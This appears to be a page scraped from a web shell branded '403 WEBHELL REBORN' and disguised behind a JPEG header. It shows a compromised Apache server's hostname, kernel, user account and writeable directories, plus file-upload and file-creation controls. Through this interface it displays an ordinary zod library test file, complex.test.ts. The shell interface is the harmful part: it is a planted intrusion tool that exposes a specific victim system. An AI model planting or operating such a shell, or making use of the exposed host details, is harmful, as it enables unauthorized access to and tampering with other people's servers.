ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/apimetaexamepopular/node_modules/zod/src/v3/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/apimetaexamepopular/node_modules/zod/src/v3/tests/complex.test.ts
import { test } from "vitest";
import * as z from "zod/v3";

const crazySchema = z.object({
  tuple: z.tuple([
    z.string().nullable().optional(),
    z.number().nullable().optional(),
    z.boolean().nullable().optional(),
    z.null().nullable().optional(),
    z.undefined().nullable().optional(),
    z.literal("1234").nullable().optional(),
  ]),
  merged: z
    .object({
      k1: z.string().optional(),
    })
    .merge(z.object({ k1: z.string().nullable(), k2: z.number() })),
  union: z.array(z.union([z.literal("asdf"), z.literal(12)])).nonempty(),
  array: z.array(z.number()),
  // sumTransformer: z.transformer(z.array(z.number()), z.number(), (arg) => {
  //   return arg.reduce((a, b) => a + b, 0);
  // }),
  sumMinLength: z.array(z.number()).refine((arg) => arg.length > 5),
  intersection: z.intersection(z.object({ p1: z.string().optional() }), z.object({ p1: z.number().optional() })),
  enum: z.intersection(z.enum(["zero", "one"]), z.enum(["one", "two"])),
  nonstrict: z.object({ points: z.number() }).nonstrict(),
  numProm: z.promise(z.number()),
  lenfun: z.function(z.tuple([z.string()]), z.boolean()),
});

// const asyncCrazySchema = crazySchema.extend({
//   // async_transform: z.transformer(
//   //   z.array(z.number()),
//   //   z.number(),
//   //   async (arg) => {
//   //     return arg.reduce((a, b) => a + b, 0);
//   //   }
//   // ),
//   async_refine: z.array(z.number()).refine(async (arg) => arg.length > 5),
// });

test("parse", () => {
  crazySchema.parse({
    tuple: ["asdf", 1234, true, null, undefined, "1234"],
    merged: { k1: "asdf", k2: 12 },
    union: ["asdf", 12, "asdf", 12, "asdf", 12],
    array: [12, 15, 16],
    // sumTransformer: [12, 15, 16],
    sumMinLength: [12, 15, 16, 98, 24, 63],
    intersection: {},
    enum: "one",
    nonstrict: { points: 1234 },
    numProm: Promise.resolve(12),
    lenfun: (x: string) => x.length,
  });
});

Anon7 - 2021